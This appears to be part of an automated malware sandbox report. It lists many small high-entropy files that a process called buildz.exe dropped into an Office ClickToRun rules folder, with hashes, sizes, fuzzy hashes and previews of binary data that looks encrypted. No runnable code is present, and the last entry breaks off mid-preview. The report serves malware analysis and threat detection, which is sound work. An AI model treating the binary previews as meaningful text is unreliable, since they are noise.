Preview:	<?xmlV.-k.#.........?#.N....w..x..........&'.Jct.z?.<...qB!....;(..z..}.Il..iC....Y...K8.p.l..,d42./.m7....\..is......j.p...6d..:P.="F..F.-T.<F]u..]........C.=........uL..V.2e...jq.?N.#..\$.2.g.K\|8....t<.).z.c...Di{.2.x.3...8..D...i....}.8.......G[Q.+..8:....XB....q..._u.'6..o.....f.dI..Mn/\.....p/}./d.F......Wt......8?.x.&.y.+.8r-Z.Y.q..&....NHc.t=@.....#lx.S.#..f;...~..~.).E....Q.U....LS....p./..\.'.r.."..u.s..m..Bq.l.-.#e..U..i..R..X?.9tH>u.^.. ...9t#.M9[....joR....z=..e2y.'.7...[..I[..@..]U.,..8.i....M...s...Sa]..F.#.....eY.o_.1.....x.*Iv..3...Yqg..8O.F..I&# ...0w.d..w....D..b..1......h...X.....I.....d.H........k.H-.i.Cw.R..p....`.`...KH.dB.5.gs...9X..x..G..)m.k...{l..1.A.z.A.L...7.....l.l>.........H...JP....{i..3.K..f.].[v."..>JE.n......t9=9E`.......RLE(..k&..R..Q.-.....hR.f/.2.f..\.....8.y.0I........:....6...{I.s......c?].sRj .....N.Z..v.94TF<...\....K.e..f.t@..CO....&..W...G#...3aH.-V.k.."^.0.d.p..G...>f.=]:..v..aA.._N/..!YA%..L.AFk

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule70027v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.728718560986665
Encrypted:	false
SSDEEP:	24:Fb0/XEL3DWgEsZsEpgK2S+pZPGOKrBK8aqbD:F4/0L3DWgPZrpn2JpdG3rBQID
MD5:	2D4516CE68F37C6F426E286F4E5A15DB
SHA1:	DDEA23E7E7B8D32A1D779219B92B5893A740C8E2
SHA-256:	A87D71DE43A245544ABFEB45946AAFC9AE86E02BD782BCE63F3F4C50FF20CF36
SHA-512:	B82B9EBA62AC69FA11B251FC442FDEA1E5A2D200983ACC6AC5D86F49067A1886716147883CEA0A270674BAF0C1D2D1B82F8573324EA8BB0148F096B69B240BF1
Malicious:	false
Reputation:	unknown
Preview:	<?xml+..........z....z..'.R2..[j.$e.......p .qw....~..Tf.Tn......C..[b...+....)..y.......!.c..$].-b,0.{..=Q.(......g.fu.q.x.<".L...r..R.DE...c..(%........8.GKB....k..Q..D"A4.....q?N.}..\.......\|.B..._.X..$.+..m.k....PQK../..t7.Y]K5...d...2..R.9..{..O.c-..f.p,~g..Qz........#..7+...$M.....b.).R.........91....q&bV..d...b......#S............h....Y.h.[...`...n]..T.[..c...L.<....m.......6......%.,.m..(E.t...U...mzb.7.."..2..bKF.0.z...c~C.F...,P..V.b9a.....:i..q([..f'...........L....9.$....b/.x..q.lx...;.U.Fp.:g.A...k8?C1.jd<8...}...5:.../NR:'nksu.C.uO.lA.T...5EV..d..)r.2....G.+{;.e.CK.U..u.8....Z....o...(....$.....l.e.3..T...52B.Q.^.#.B.....A.5.}.KK.H]i.1 .@...Le.N..)...J....Z.....y......!d...d...o.D.X.,..7(.;YY.X~..?<i7.Ko..x.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule70028v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	7.838636791126942
Encrypted:	false
SSDEEP:	24:UnXyaGsY1nawDSlg1Rjag4jsQT/XuZW0KoReIJxQfy6jKZYvcu6pwjebD:sCaGsYpDLjjX43THoReIJUKZbu61D
MD5:	92CC2B28865B66005CD843C45BBF338A
SHA1:	280E0E880CC3584BAFF7443B39E48B3EFB44F04F
SHA-256:	D4B2DE87C55126F9F8110E2BCE14DEE3A725793512C4B8BB7B955BAB7088326C
SHA-512:	9A4D9CCD50A14DED14147CE90D0070A3750265B48EC087E05F2FB268DAFDC6FD6A0485D41452E4EC213312E6D18150B60D80B8123D0C3CCF55081E3F3EA97593
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....]...mG.)....yS%F..DH...3.z.m...m_..mj..mm..@.Q[...l..p....@F?.D7....r......].g.0.'.2Z...x.A.n....4.mE+f.}/)5;.}.=..D.4(..cI.=O..~..1./g..7..)...Ly..B0"v.O..w..=+....._.......l...-.'...#.Lm~..j.1.......0...2..=..2.6w<...t,(g .kyU...v......"[...S..r..7...... ....w...-..~............}...(.u7Z.......k1...x..P.g:...3.R1g...W..B}M..T..~.L.UF..P..$.../..`.z.4.....z.2~.a...w...y.[..xTP...'=.~{f..E/4.....X2_..............n.TH..+..Q..#.E......Z/..8W@X\[....H[.7.........t#j.......p^.Y8~.......@...pY.4.Vb[^.{.h.d\...Ewiq...Y..x.....+.Y..M.....-`@..A..r.+.....9Tt%1_,..+.".L..\.19..9..xs..j.......$.Vf.F...arG2-rW+...kt...VV+i.......e.}7.4....n<.Q..-.(....So...p..I...`.....Fz.'MB.._....v...E....$.....\;+.j..\.R..7...,o.Z.}.5.,.P.6...E.....A..Dc....8...6........x\.G....B.N....../.d.l..WKCC./:h@......&.?x.K.<.?...&..:.E.....Y..P.Wk......N]...O!....Wn.<.w.W.)..e.`v.r@J..e...fKs..9dL..a...Aw.$.!Z..r.... ....,`......"......F...+.+:u..a7Wp.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule70029v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.78028472782876
Encrypted:	false
SSDEEP:	24:LGMYkyXYYMYii+ciss7OJREus4pU1/JTHP69lbD:Cdky2Yi1cisJREusv/JrPa1D
MD5:	E70CBA1976BEE3AE952F08807682DA9A
SHA1:	ACA1B2B1F5E5B6EAFE192B942369A9003868882F
SHA-256:	A3261B04EA0071923B59D00C481925CFB7E1E0AE2964F4845F96F7410534849E
SHA-512:	492F7802AAF527269BF8D35E5C0B892A1E313FA2AB4505570A4EB299CCBE53A0BCB09D4CDA3D15EFD4C4723908B37A0EDE9F77847B30E6E269CD9914FE32E12C
Malicious:	false
Reputation:	unknown
Preview:	<?xml>Y...\A.z.E...o.Y....n..6L...H.B.w.w..j6 .],,..D.);...FsO..-...[c.XR.jur.tkg.&r.t.wG.J'.2......~.8+W.N@LqD.W..L...]..L.((......`.c..2.....I.M...U..P...)C.......>I..a[..Q..Q.........m..Dc'{.t.ta.\.:...k[.7...g..K..K.:KJ.WS.ux.p7.8wm.!.u.s..d..@Jm4 ...P`.......L<.F.....r!.@.G~.........s.L..?...M..Z..g.....ts3.!xl...D.i..G.....t.).....$.c. .5\.T.%@.8..._.H..Mm..r+.Z\.;T.^5.p.F..4..A.j.....1..i8.).yc.'..HonKX.;.f..b[. ...W.tY.4Q...'1.$.........qvi1p..,.a..#.....=..v.....[..H....G.&..wesg.\..h.S.F....2$.3C.y.....f.L.^..;..v.......jlA.Q.\|JTn.$...dg=."N..._Q.vS.5..M.......)'.[.s;5.2Q.{..ur........g...c..f`dN..t/....qq.m.y."8....'..cL......S.....a.'.....>[.4..[~._@.6....9...F_.4...@....s.R!.. ..t.S.o;...I.vz,.NE..a...vv7......@......1.!fD...t...~BbZ>p....).%.......x ..7.sN%L#.c...&zy.h......B../@..(.^............c.yN.....`....Qw.B..S.h......O...y......5.Q....?...Y.#2.kMSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700300v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.8810599772866885
Encrypted:	false
SSDEEP:	48:1tYy/C4nN2gvVCEcTvQiaLyFJiaLbpziSSKaD:e4N2gvVHLV2iAbpQ
MD5:	9F826E15184860109819D15C0DFF1BAC
SHA1:	08F546C9EFF299EE668F81666A130D1FE46F78E1
SHA-256:	6A553318EBAA259B0CE159DCA4003EF1591FC398B8B154174A0A3930E0C0C4B6
SHA-512:	FE64C10D202F8C86D066CDA9B3094E8A4E9C2055B1615B982BB52DC4B6FD08B25F3A37A2EC9FFE4AC6E85F2167409E1EA809756F13E8337DF370399AC269DA24
Malicious:	false
Reputation:	unknown
Preview:	.<?5A..].......^..[b...-S7=.(......u-.+......I..Y..8.Csj.T....^8.wE.......C^.S=2..z5..sK4.......O.N.%....r..bX_...vUL...'L\|.4.M-..EF..".5.i.i.D3>....P..I..-,.j.Wl%.......~.h.......u'.V.G.!SK...R.d2.^..1."?KWz..K.....]4.R.xhq..l...+.}..%.l.#x.8...U.....V.)..\|..BHA..hUx.%.8,l..5....4......,.y.k.>....g.....0HN.p<...{....kC.."s...1........24.....[^....;.........(t`...PA....H..v..G...X...d....`.U.yS....F.......(..d....D.Fq..0B....OW.UTB.'s.t.X>.8..aQR.^..LY@......t.K.I..!.#C....&..9.^)F.....R....3.q....x...]..5..$JR5..9.X...!.Z...}y..,...[.....q.J..BV.R.=...9g.g>.....e{D..~R}..]/.D......)......x.r}.Pf7...W........b...........T.oI.....}..........X.....a.iu....g.N}H..i.\|?cga..c..d:.Y.z.o.Q.....@.N.......4..<.yb...}/.K.#Qamy.7\o.8..R..T....0.Y<>..N.!M3q....).Y.].{1....y.t....I.@.x9....O...]^.5.P.)....+......q.A(.}.i..Kf^.1 .Xx.....w]....Wj.f{O.(+d..%B.z.O....@...A.7....._...#[e.ti.7.d...-Tv..w[.p.T:.."....n....+.#^....2?xI.ne..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700301v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	7.91327580932768
Encrypted:	false
SSDEEP:	48:w0TX+t9zpEkTEJKD6OSSWbNawlzFw4K/D:wsA91RInOS1JzFgr
MD5:	DB5C6167C0E9086DA4B8BFCABE35454A
SHA1:	8613031FBCF7B4D3A576CAC7FB8107F985E159F6
SHA-256:	3A8D56BA391A922199D2F9F49FC68498DEF6946E28B25778775DB9E57EB01AE5
SHA-512:	CE39C4523E4C96FC808F3D1C673BA0807A458D9DC03E4319753498BF62BB8E3518C11D575099EF5EAAA4E4E4282E5AECB39C06606428E6FEF5479FA8C863C102
Malicious:	false
Reputation:	unknown
Preview:	.<?hjS.........Eiw..K......;f.851..kAi..n.'.j...m....X=....ID...XQa.^.....<ET...\|.....?..,r.7....)l..m?..[.f%..N+Y.#.Zt.L.6(?...Y..c...A.........AU.....9.0"F~.a.E..%.......Afo..5w(BW....f..W.$.\..O_>C...4.=..0....../..LC].&...x.Wb%...N.R...Z.......4e(....D..N..q......#M..#.%./...?.....\|...:....P?......n...N.gyO...l(..51../..Oo...>z3.........y-k.\x..A!.@.5M..Jc..$]R^B....3..om.S"$....W..t.j'..B.H{....c$;..P...`.._T.......bJ9'..}.R.......Cf.BE.eT...2...xj.t..f.2...U.....L...T.: ..v.x('X....X........Nbi....hp.4.K%V.Q....D.)...B.r..9../....!5...&.M_>.05...d...V.2\|r...P8....nHj0....g.X.~....)e..W.L.8..'r.R....Y.x=.r..2"...DT..:..`\FCp.3..Y..=....xl.t...='..!.....o....Iv....k...9.Nhu.8[.I.P..tj...n..+E........:yh.e.....8M...K2.....P..7.n.\,.2.2....T..tmYs.6....5...:.=..h{.....t..?.....M.Q':e.....89.......\|}.1...;.i.A..QG...Q..B%...s7gM.7..;v)E..........uz..GA...O.....%.............#.@....&....d.....,qd[......M]..P..=..7..x..#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule70030v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.6978144610104815
Encrypted:	false
SSDEEP:	12:JJ130dODO6g2e8vvTcp1r5xTigsWOjY9SPTBD/GrFYAKN8HQTIntWufIl4J4L0b6:d5DpvrcbnGgsWOjFTBD/Azk4W0bmZbD
MD5:	A32A83A368368F367CA342F518337539
SHA1:	C9A2BF1BD46024C183A57A7C51C7D0382E4D88F4
SHA-256:	7547087F78F409735F93E2496D60D89B1F205692E4FF99DBC00B5392CBCAE4F8
SHA-512:	3945D0ACAA03F899D6AFF2DD93079AB17613E88EFC0F52E0DB1A9A18CFB49CAF447F74C41D481397F0ED9214143F996E5399E1AD490B7A9124FAB0A779CCD242
Malicious:	false
Reputation:	unknown
Preview:	<?xml..&...^.s..V...k..R..).H.6C.eflB..~D.".[a..~..XSwPS4..WaM...."....U-.,.`.....FZ.O8......'.tc.+.....zdV..z..Z..qX.N...k..B....V..&.W.^....p.......b@j.>-...k~J..8..Q.FPek..yOV..s.Z.o[..bvw$@..a.BC...);..+.E.w.V[~...z[.q..L...D.rtD!w...-....mx!..Y<..g.......L~....n........E..v.....w.B.....e.v1...h..y.7s<!/..g..6GfQ.TH....3fIM..B.x...%.....5..x.8..l.z..{[-M.2.w.N.3...?.8.'.Oz.u....#..>8.s$^.y...G.....y.Jl.....G=...5...,.9j.^...Y..)...#KZ..f.d$......V..a@.FT..!I...Ta..S....uHY.fCQ....)..C.......$......^n.,.!._...[ ~...... 1y..I(..30..~.x...E....8.....s...)o..O./trb.6.C.S......;Y..,....S.d.*3"..T.?$...q\|.%..../.b..M..7...... 3...)...A/.ql.....).SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule70031v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	774
Entropy (8bit):	7.673856556236956
Encrypted:	false
SSDEEP:	24:DU39we179FhQqGdpShpSei9q7moZsKgjVXLgbD:Q39bhQqeShp3i9yaQD
MD5:	435CCE8B5A54C66D46C4DA9166E9E8F2
SHA1:	540DBC1E3332A8FAD54B03865A3B310E9F03370B
SHA-256:	27B0B8ED1134E174FD882A54C971E80A6CF61F433FABAF4A229FF555E085731F
SHA-512:	0923006DCEF6CFAC3C6DDE64965BF975662A5F5AD04F69C52689E2A6CCEE9129D0E02F49823F52229E176BC513A57027ED5D88426B56138F56BD914DE005B326
Malicious:	false
Reputation:	unknown
Preview:	<?xml.1h.C.......z. 9.I.........siS!D..s.\|.....}u......XZ.P.m7l./A...j..\...G<../gz..x.....},b....:..[(.V.+.... ..<.V,.......r?F..!O.Lc...@...V....0b... .......0.V.;.....;..K.....'.F%\t9.\|...`..) .4Z.}.2B.8..BGL.w.".~V'........R..c.$.>.........h.......Ppl...T..y....`hA`.m....]O..'J.L.c...r..,..&...O.h+.........x.....N.....-....{.c."'=..].T.....i".....f....BZ."...@6.Y.:..[L. du1..M.X...6=.PG.N.i..mA..6O......&.Rh..,.o/v..9...JM~7.M..q..rQ..;O..(.[^+..]..J.Z.,.&...%=.W.,;rz..u..O~..3 ,d.@...,a.JH.r..L..r...v$.X..v%/(./`..a2r..%.c..v3$..2.L..6i....}.B...J..\.ph....K..&........(.../.?&EDo....`.4Od.r.........R...F........o4...x.5.a.....N...;..>Z.3i.A..J ..R..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700350v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.884073199533683
Encrypted:	false
SSDEEP:	48:GSxMeGnGPjKzx2Yk5Q+VUWNTqwDjkukXmD:GEGRJoQIUoTqSTkX+
MD5:	C897C7B80047C8AA004B8E3E707257EC
SHA1:	C764A4527F5CDCFFDF50D91938FB075A2748FE7C
SHA-256:	2CE0EAA11DC32522EB46EB6121330DBD08090F2EB26B9971B9C85B664F82BC88
SHA-512:	E48C02AD8AB8449E990678FC241AC43E51D8F372E4968ACA00F62BB23D5A41F8494FA5738BA0A9B11D584489C3FC8D9014A403FC87CAA55BF93D59CE83D264B7
Malicious:	false
Reputation:	unknown
Preview:	.<?..1...\.=......{.`.......%P..O..q.[>.....^.F%..W..2.&d.3..@..L.3n.@u.g..>V...c.^.sPv...~...<..VmV.T..2s-...<...A....{.\.. .,O...5....2.....v.o.+g2t........#.ydl..P.I...+..y.R3....^.0d.7Ya....nZ..:.a7.x.j.0.Y.?..V._...X..aa.....U...]... 8c..x.W.n..j../(....G.)2....\|.w..C.`..uZ...^..kj@.E..........0...~.}#&.......R...;lm.P.&....H..`.P.,..{..-.y.......$.K[@I.....~..lV!P.[.n .TO...=.S..MH. .'H#...]....-..i.#....Y4(.c.V.o.N`l.N.$.../.lS..D.7...5....:....3.UZY11...Ao^......^..o.X...S..<..JL./.A....k..v..@...:.MD.......S.22..r.%..a....u...\|.}....Z{.o..q.o.e..5t..4.}O.../m..<.I.p..'T.....FBw.P.F{.o..@.y..N=.-!....}.1.~s8....d.:`>N....:...../.d.e{....zF...fn&#E.`..(B..VR.mP.6h9.........=+..D.......)..`........{.\.5_..Vp..~~F.K.j......8.n>q....).J....}/...<.....^I.U...!...@..9./\|....&C..h\|.m....$q.......}..Vd0......_#a~...bw...i..p....!..y._Tf.[................x.....\K.x....D..R.f...^........<........\k...t2Eeg.Lma..Fgm......b..M}.B'..o....\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700351v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.8900688771357
Encrypted:	false
SSDEEP:	48:1ggw63UhnZCeYC/8V8Apvoma/EhUzFpsIWtD:1ggaZX8npAma/EhUY5
MD5:	031958C9DC07CC3F9074E1D96DA4B0CF
SHA1:	BCAA39D7E492421D88B3311F1E6DC54CB20E36CC
SHA-256:	90E0FCDC763C7BCC9ACEFBC6BAC4A58F997A12C632B772BA9751F63C5EF13E93
SHA-512:	C3A0FCC90FFFCD7DFA60F9B096366F91A9C181AF537D7056227370445D23740CB9DA3753B94F2180A0EE337CCB8EF2959D704C3216FFB0EE1A88A4A59BB170D3
Malicious:	false
Reputation:	unknown
Preview:	.<?....]...L.t....%.@.@.N.+>.....Y......b.y.....>S..=...N.%.20'...#.d..Af./.......?...\..pv....j..UP7Q#%..m..mV\..{_..}..{......l/.\|..s6..gMV..X..L/...C..,Y...@.......4.Ky.56.tA.r.z....0$>.U........er..E@..d@kdMEJ]..X2.s.x..(i!....k..t..5.3..S/.$.5.~.o...@-.,...b24..5....E..H...r.?....=....;.F....V...R.c.S..E..a...`..X.i77`l.L'.9...Q.Me.k.f...%z.+c..ma.....n ...c~.fN.H.5..3.c%.I..~..Y...*._Z.}.DW.eb....Pk.).....Gm....3..g..YS\|.m^...........J..#..%.....d..k.M.B.......M..Z.\z.h...R..[.b...U..w...".".9.....:...)a}33....'......&h...c...S!...}..k....U.$..\|y..(..{.\..O./b..chk.;......r..8>..1.t.!_.!>.......7.Z.(gC..j......T.>.......g<...$U#E.V.ON}..d...\..z...7 .o/.h.c....#.~...E.^ ..]I/E.To....A..,.........9.".Y.".......&... -O.'.9,...a$B..Z.....&0hm.6y....%.L=w...;\..R'oP@. .B.#',.z.rm.[..4.{q..!..x..>f.....P.B......s>....j....w...`.^.7.~.r.j=..jz...+..35..wh..^s$..kQ.@>...3./.d..=+qQ.Jj3,.....^..x/....IP.7lH^EA^...k.b..NP.\....v.......'..6#!.&....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule70036v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.711628190461236
Encrypted:	false
SSDEEP:	12:cQkQ3LEzRpprJNFSq1T85kgQBuzDbM17QsMeTj2896ueyLbhA3Nqfuo+r/is58xh:RkWLElpikgPXbY7QsMsToEhA3NqfuFrW
MD5:	F5E9582F3C63CFB5AEECA94770B9286F
SHA1:	3F9C3E5DA831772825668896E7220418A41B7685
SHA-256:	887C5EC7B7843A7A90CCE3D88B6299FE1337E98182EE56C57CC833F8B7830F72
SHA-512:	3408207B6CB9A0E929844E10242486D9320C2F2348DF65DE682DED56842638AC1294ECACE83537C16FB5369BCC7CEF887E9F148B0025DF274470A51FA07C2D88
Malicious:	false
Reputation:	unknown
Preview:	<?xmlal..Q.>...2.\|V+...?.sQ.R..._..T.f..5Z...{....S....."#.^9.y..T.%../.x.}!..`.0...;.B.."....;$......V....1\..\|N.H,......G.T.S.u...I.....A@..y.-/...I..e.W..\|...&E%.t....t..I.L.....R.<.N\|A.:...e}.?m......(.(P+..1Y..l.. 2.]....0%..]...=.r.O`.\..Ru...C..{...n..x..qn....[;..u...h.\e..DR#..w.........b._.r..r.=L9?.;9)8-%'v..j...R.R..&0M?..-God.{8.PA..(k...X.3..b..m.W.]....@..B3UPk.W..S.....;`.4Ul.l......?..T........8........M.sAn.\|.......+SG..H..Y...(.(...9.>.;!..!.k-&.U.].<.Z.2..-....j!"..C...........j.b*.m....$..I...b...>..z...6..3U7M1....>sz.3.j;!.....T..D.S.b....@.\|.x....Fi7.j....e..-...~...u...\..."...:...@Q.B.V..1SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule70037v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	773
Entropy (8bit):	7.71372670195957
Encrypted:	false
SSDEEP:	24:ihFxiYUi9NWOsTLJ3bymWcrfIxacuQMakhbD:ihriYlNWbT1r4uBQrkxD
MD5:	4310296B1414CFDBBCB14A6869B62FFD
SHA1:	378A35C3ECBC546476C84443A48F84BAAFB3F1DA
SHA-256:	7BE85CBBE3A11363F14E357EDD371D27008A650EA4BD74E60B787B9AD53A080B
SHA-512:	DF3AAC8990E980A1997C82F5B7993B8AD118491B3FBCA2E64641EF4ACB6ED1D574C79DB1C55B23A941D05870CE4A28E4A132F915C683FA168A6C14079DE649A7
Malicious:	false
Reputation:	unknown
Preview:	<?xml..b.......a....x.T.P4m.K.=u..dA...J..!.....D.+U....E<t...X....j\|.{..w..F.RF"..Fd....H.....p.9J......u.u.SP ..>"h...x$jg....-.............A...#6sB..b.9..j$.12.._...U$...Z.H>'Cc....M;.}...X.....=..L...._....m=P.o.4..(.l.....eT^....i]...7+.$~A..:.. ...h.v..R3O...x.i1Y.7.VJ.X3-...r..)..D...0...9f..........D..>.q..E....2..b.Z\|.u..^.U.A...p[BW.....07'.h...6'.H.gx....)&>*J.j......yk.}b.....%O...8PFg...Q......]...DhE..b.e..J..U....t?#.QjK.D=2k........}....F.........3t..HS..~..S......Z..t..K...k.'3.....X....+......M5..)...O....q..L...../9m.....".T\..+G...;.. f..j...tH.M.C...._.(....o.H..b.BT\#..S9O..Q3.LC...\g.r...&.M.d...K.....D..S$Hg.Z5..c..d..;..x.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700400v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.87229557443544
Encrypted:	false
SSDEEP:	48:gQFTMmwBxHtNM9xRTRQSUoAfXgqCJW6nUCfi/D:fMmwHt6vNzuYJTXir
MD5:	7C358C4F180D6F58E87F8A377C3BF29C
SHA1:	23E9A6EA942D2C23D38761FC47EC678E3449771B
SHA-256:	EDC0FCA39E85F62E4304B38B217B05280E3FAD6EC9FD65D04D9AD045B24CCAF5
SHA-512:	11330A4D5FF29F60FE57FCDCFA3FA4689243B219420AFC916A2DA068CF501EDE12E0B9DD67F913E8333EA6712F90439C8006FCD2DB747685C39F7F4058CB4DE0
Malicious:	false
Reputation:	unknown
Preview:	.<?..R...].+2.im."...L...]5:.eQow0..IV[.....vq7xj.Y._.ev$........HA....?...y.'K.$..,.O.O...(..Tz.tr1.P.V..O.{H.79..}..(.q.yV...r....-R.]qbv..H.u<".9...Z.tm?...B.d..ZaA..c....l...vc...L.7.....~'G....9....w.\|...J..qvBi1.....o...4.:e..J$...G.0....prG.3.\...o]4..Xa,0..o........d..#.<j.}5....f^.J-.?.Z".."_q.f2dZXU.~x..[W`J.W...`....1..z.... .V9.....a..4..d...I...T6....8z.=.q;k.A..\|Cw.;......3.[.O(..3sP.W...b..Z..L.k.u........-(r.Q...o.k.f..b........X7...&.}........B.tT..o.QL..........'5......G.t..o'p.^L.U....B.sB8...m.. ...c.EWA..u..9.XH.T..,/.Y..[.:..'{..'Z..2gM..%.X!p. qg...V.>c.o\|..5:J..J...r...AG..>W.:.......o.6...$Cb.4?!8w.5.+.-.C..........t...m].X......@I.o.~.9.(.K.&....Z[....u...2.q...m.*C#....@.o..`2jK..j..'...^7<....N..<<b...+..Lw.o-...%.....D...y.n9..Yb...9.p.K.C....gs.V..K$.0.1...&...j.V?..]...u...7.T.l..B.....]7DB...\...i..)]3'...p.O...V....B......t...j....:'q#.lH.[..V.XX......\..8....MZ.Q<..)....-..{)...x`P...a...Z[W.C;._....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700401v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.874985776630132
Encrypted:	false
SSDEEP:	48:27S8BwchQyP4XgkQRxzof/JBdikIpSdpSYqC/GD:GS8BwchQHgBJof/JXikIsGCW
MD5:	30B7BF2A586FE314BB2D3069B601BD7D
SHA1:	7C7C37E16D9496DBC3027EE8B30846280852A6D3
SHA-256:	D5D943503524C62CC83FB080240CD052622E0EC76BA5601EDA6D40CEB74F67F9
SHA-512:	3578FD4C223199286A654C0663AAAC356B796F7A11C057AE9EDFA4B1D401F292A4F942DDD4F8D777C82F4D9576F5ABC28F574315A57ABFC5FD874F16234CEED9
Malicious:	false
Reputation:	unknown
Preview:	.<?.1..6...].\.E.(....d....?.........O.c.g.y7...R:....[.....6oHw%4Lg.0..I.'..i...9....l..i.[#.eR..5.......!.4v.f......5.."....s.....Uc`.Ly..13...[...yhxZ...G.....ce.<..}&K.d.@.Z.9..R.N......Oa.'.,..q.~.wjc.nQ(....4..5B..!99..f3.(..#6.P....z.R.<..@...8..%..%.$..L.F~e>.....A9.?...].......}.x..K.3..JU..v..v..\|.C..&.m3....j..Ot...b.'..4#_..6 .....R{Dhr..K..........f.&=...^.;.....;....k{....u....^..0.@.1........>J..m....k.[r ...{{.sSO..2.3#.f..x...KU..c.$... ..<!6.ef.B..#...0...N_..M..M..Z.:.z...E`._.U<...KO.F0.I:w7..<.u.#.".vc6.l....:a6..9.^.'..b..`sb,.+1.......@X)M...`...T..'.p.w....A.$>a...+...A.i..2 ...g.[9.......~b<......W..\|..QYWc3.......B...$.=Jv2M.N.#.....I..b)r..}}.I.7._>.9...Q../;a..}.~h..u....M.oK.9..H.kyH..X...{,..g..F.-x..T...\|..7]>.#S\V.#R..frw5...e.K..m..m..H...f.).h..s....`....v.&...(....@.v.m..Y.........../K9.....M..i......6..M.M=.0.G...4H>b$..SJ......pt...a...}.3.Z;.=!.<@.~.$.H._a......it#...)..v5a.~..I...@.%P.,7E...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700450v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.894082687605578
Encrypted:	false
SSDEEP:	48:aNffUjhFKzyE3dXxv8c9IeJ9JtZoOO6va1hQJmu7D:aEFKZrtpJVZ7KGJZ
MD5:	F6EC6D9AB5C8D8A26BA43B02B749A222
SHA1:	5A3EF86465F67543F66974BE7E57A54C6EBD4B32
SHA-256:	950AE5E3777687C855A4427C731D70B01FCFF680A48094CE6F1BA850157526B2
SHA-512:	CFFBDCCDD1E2B9C82FA0CE4276DAFFE905EE1EE5A494B70FEB8275A3C0B2467CB854D793676F78D85AC16A6501802945908D101C8CE17F0BACB9F460B75267AB
Malicious:	false
Reputation:	unknown
Preview:	.<?...e....w...DM.<A..j.L`.F........_/.>D...5.E$.. 